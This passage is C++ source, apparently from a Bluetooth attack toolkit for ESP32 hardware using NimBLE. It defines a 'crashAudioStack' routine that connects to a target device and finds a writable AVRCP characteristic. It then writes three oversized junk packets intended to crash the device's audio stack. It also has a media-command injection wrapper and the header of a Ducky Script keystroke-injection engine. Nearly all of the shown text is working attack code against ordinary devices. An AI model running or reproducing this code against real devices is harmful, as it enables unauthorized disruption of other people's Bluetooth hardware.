| 1466 | bool AudioAttackService::injectMediaCommands(NimBLEAddress target) { return executeAudioAttack(target); } |
| 1467 | |
| 1468 | bool AudioAttackService::crashAudioStack(NimBLEAddress target) { |
| 1469 | AutoCleanup cleanup([]() { BLEStateManager::deinitBLE(true); }); |
| 1470 | |
| 1471 | String connectionMethod = ""; |
| 1472 | NimBLEClient *pClient = attemptConnectionWithStrategies(target, connectionMethod); |
| 1473 | if (!pClient) return false; |
| 1474 | |
| 1475 | BLEStateManager::registerClient(pClient); |
| 1476 | |
| 1477 | NimBLERemoteService *pService = pClient->getService(NimBLEUUID((uint16_t)0x110E)); |
| 1478 | if (!pService) pService = pClient->getService(NimBLEUUID((uint16_t)0x110F)); |
| 1479 | if (!pService) { |
| 1480 | pClient->disconnect(); |
| 1481 | BLEStateManager::unregisterClient(pClient); |
| 1482 | NimBLEDevice::deleteClient(pClient); |
| 1483 | return false; |
| 1484 | } |
| 1485 | |
| 1486 | NimBLERemoteCharacteristic *pChar = nullptr; |
| 1487 | const std::vector<NimBLERemoteCharacteristic *> &chars = pService->getCharacteristics(true); |
| 1488 | for (auto &ch : chars) { |
| 1489 | if (ch->canWrite()) { |
| 1490 | pChar = ch; |
| 1491 | break; |
| 1492 | } |
| 1493 | } |
| 1494 | if (!pChar) { |
| 1495 | pClient->disconnect(); |
| 1496 | BLEStateManager::unregisterClient(pClient); |
| 1497 | NimBLEDevice::deleteClient(pClient); |
| 1498 | return false; |
| 1499 | } |
| 1500 | |
| 1501 | uint8_t crashPacket1[128], crashPacket2[64], crashPacket3[256]; |
| 1502 | memset(crashPacket1, 0xFF, sizeof(crashPacket1)); |
| 1503 | memset(crashPacket2, 0x00, sizeof(crashPacket2)); |
| 1504 | memset(crashPacket3, 0x41, sizeof(crashPacket3)); |
| 1505 | |
| 1506 | bool sent1 = pChar->writeValue(crashPacket1, sizeof(crashPacket1), true); |
| 1507 | delay(200); |
| 1508 | bool sent2 = pChar->writeValue(crashPacket2, sizeof(crashPacket2), true); |
| 1509 | delay(200); |
| 1510 | bool sent3 = pChar->writeValue(crashPacket3, sizeof(crashPacket3), true); |
| 1511 | |
| 1512 | pClient->disconnect(); |
| 1513 | BLEStateManager::unregisterClient(pClient); |
| 1514 | NimBLEDevice::deleteClient(pClient); |
| 1515 | cleanup.disable(); |
| 1516 | delay(300); |
| 1517 | return (sent1 || sent2 || sent3); |
| 1518 | } |
| 1519 | |
| 1520 | //============================================================================= |
| 1521 | // Ducky Script Engine |
no test coverage detected